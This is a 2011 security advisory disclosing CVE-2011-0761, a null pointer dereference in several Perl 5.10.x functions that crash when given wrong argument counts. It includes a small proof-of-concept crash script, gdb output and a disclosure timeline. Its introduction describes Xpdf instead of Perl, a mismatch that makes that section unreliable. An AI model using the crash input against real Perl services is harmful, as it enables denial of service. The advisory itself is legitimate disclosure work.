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TSSA-2011-03 - Perl : multiple functions null pointer dereference uppon parameters injection
From: Advisories Toucan-System <advisories () toucan-system com>
Date: Mon, 9 May 2011 10:52:20 +0200

---------------------------------------------------------------------------
*          Perl : multiple functions null pointer dereference            *
*                      uppon parameters injection                        *
---------------------------------------------------------------------------




--[ Vulnerability Summary:

Date Published: 03/05/2011
Last Update: 03/05/2011
Advisory ID: TSSA-2011-03
CVE Name: CVE-2011-0761
Title: Perl : multiple functions null pointer dereference
Remotely Exploitable: Yes
Locally Exploitable: No
Impact: Remote DoS
Advisory URL: http://www.toucan-system.com/advisories/tssa-2011-03.txt



--[ Introduction:

    Following 3 paragraphs taken from the vendors' documentation:

    Xpdf is an open source viewer for Portable Document Format (PDF)
    files.  (These are also sometimes also called 'Acrobat' files, from
    the name of Adobe's PDF software.)  The Xpdf project also includes a
    PDF text extractor, PDF-to-PostScript converter, and various other
    utilities.

    Xpdf runs under the X Window System on UNIX, VMS, and OS/2.  The non-X
    components (pdftops, pdftotext, etc.) also run on Win32 systems and
    should run on pretty much any system with a decent C++ compiler.

    Xpdf is designed to be small and efficient.  It can use Type 1 or
    TrueType fonts.


--[ Synopsis:

    When given a wrong number of arguments, a number of perl functions
    will attempt to read memory from an unmapped location, resulting
    in a deterministic crash.

--[ Vulnerability overview:

    The perl functions vulnerable to this attack are:

      getpeername()
      readdir()
      closedir()
      getsockname()
      readdir()
      rewinddir()
      tell()
      telldir()

    When given a wrong number of arguments, those functions will
    attempt to perform a comparison between an unalocated memory
    zone and a given register, resulting in a segmentation fault:

    jonathan () blackbox:~/test$ cat poc1.pl
    #!/usr/bin/perl
    $a =
getsockname(9505,4590,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA",17792);
    jonathan () blackbox:~/test$ perl poc1.pl
    Segmentation fault (core dumped)
    jonathan () blackbox:~/test$

    More precisely, the Perl_gv_IOadd() function is invoqued and
    attempts to perform a comparison:

gdb $ r ./poc1.pl
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
---------------------------------------------------------------[regs]
eax:08178008 ebx:00000000  ecx:080C53B0  edx:000000F4 eflags:00210282
esi:00000000 edi:0817D554  esp:BFFFF640  ebp:BFFFF658 eip:08082B42
cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B o d I t S z a p c
[0073:08082B42]------------------------------------------------[code]
--[ Instruction:
=> 0x8082b42 <Perl_gv_IOadd+18>:    cmp    BYTE PTR [ebx+0x8],0x9

    The register ebx being null, the application actually tries to
    read from the (unmapped) first page, resulting in a null
    pointer dereference, and eventually a crash.


--[ Impact:

    Perl not being a compiled language, injection of wrong number of
    parameters is technically possible (in very much the same way as
    say, sql injections).

    It is in any case not possible to execute code directly using this
    vulnerability as null pointers dereferences in the first page are not
    exploitable under modern OSes.

    But, if a given third party perl web application was calling one
    of the above listed vulnerable functions in a way allowing
    parameter injections, while performing a critical operation
    requiring some degree of atomicity, it would be possible to
   interrupt the execution of this operation before it completes,
   hence breaking the business logic assumptions of the web
   applications designers.

    Wether this vulnerability actually allows to steal millions from
    widespread perl web applications has not been investigated and
    won't be dulled about.


--[ Vulnerable versions:

    Vulnerable : Perl version 5.10.x.

    In particular, versions 5.10.1 of perl as shipped with ubuntu
    10.04 and 10.10 as well as version 5.10.0 provided with OSX
    10.6 are known to be vulnerable.

    Non vulnerable : Perl version <= 5.10.0 OR >= 5.12.0.


--[ Disclosure timeline:

    * 05/01/2011: Toucan System contacts the CERT, providing full
    description and PoC samples to audit the issue.

    * 10/02/2011: The CERT is able to replicate the bug under both
    ubuntu 10.04 and ubuntu 10.10, and therefor forwards the PoCs
    to the perl team.

    * 11/02/2011: The Perl Team acknowledge the vulnerability and starts
    investigating which exact versions are vulnerable.

    * 11/02/2011: The CERT assigns CVE-2011-0761 to this vulnerability.

    * 15/02/2011: The Perl Team notifies us that stable version 5.12.0
    is not vulnerable to this bug.

    * 18/04/2011: Public disclosure.


--[ Credits:

    Those vulnerabilities were discovered by Jonathan Brossard from
    Toucan System.


--[ About Toucan System:

    Toucan System is a French computer security company providing
    cutting edge research and security consulting to Fortune 500
    as well as smaller companies globally, thanks to a wide range
    of expertise ranging from Reverse Engineering and binary
    analysis to cryptography and Risk Management.


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